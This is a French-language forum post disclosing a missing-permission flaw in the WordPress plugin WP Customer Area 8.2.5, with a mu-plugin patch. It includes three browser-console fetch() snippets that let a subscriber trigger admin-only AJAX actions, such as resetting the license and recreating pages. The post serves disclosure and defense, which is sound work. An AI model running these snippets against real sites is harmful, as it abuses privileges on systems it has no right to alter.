Security Issues in 8.2.5
-
-
-
Nicolas
Participant# 1 week agoPour les autres, en attendant que le support réponde :
Après audit du code, 3 actions internes de “WP Customer Area” ne vérifient pas correctement certains droits d’accès. En clair, un simple utilisateur connecté au site (sans droit supérieur donc rôle subscriber) pourrait lancer 3 opérations normalement réservées aux admins :
– modifier l’état de licence du plugin (réinitialisation/désactivation)
– (re)créer des pages et le menu de navigation par défaut (théoriquement, car la faille est liée seulement à l’installation du plugin)
– faire disparaître un rappel à l’admin (notification) de terminer un paramétrage du plugin—
Vous pouvez tester ces failles en copiant collant ces scripts dans la console navigateur, connecté en tant que “subscriber”// 1) Licence
fetch(‘/wp-admin/admin-ajax.php’,{method:’POST’,credentials:’include’,
headers:{‘Content-Type’:’application/x-www-form-urlencoded’},
body:’action=cuar_validate_license’}).then(r=>console.log(‘validate_license’,r.status));// 2) Marquer permissions configurées
fetch(‘/wp-admin/admin-ajax.php’,{method:’POST’,credentials:’include’,
headers:{‘Content-Type’:’application/x-www-form-urlencoded’},
body:’action=cuar_mark_permissions_as_configured’}).then(r=>console.log(‘mark_permissions’,r.status));// 3) Créer pages & navigation
fetch(‘/wp-admin/admin-ajax.php’,{method:’POST’,credentials:’include’,
headers:{‘Content-Type’:’application/x-www-form-urlencoded’},
body:’action=cuar_installer_create_pages_and_nav’}).then(r=>console.log(‘create_pages_nav’,r.status));—
Patch en attendant :– Créez un dossier mu-plugin.
– Créez un fichier php
– Collez le code suivant :<?php
if (!defined(‘ABSPATH’)) exit;
function cuar_harden_gate() {
if (!current_user_can(‘manage_options’)) wp_send_json_error([‘message’=>’Not allowed’], 403);
}add_action(‘wp_ajax_cuar_installer_create_pages_and_nav’, ‘cuar_harden_gate’, 0);
add_action(‘wp_ajax_cuar_mark_permissions_as_configured’, ‘cuar_harden_gate’, 0);
add_action(‘wp_ajax_cuar_validate_license’, ‘cuar_harden_gate’, 0);Testez les exploits JavaScript précédents : une erreur 400 / 403 devrait survenir à la place d’un 200.
You must be logged in to reply to this topic.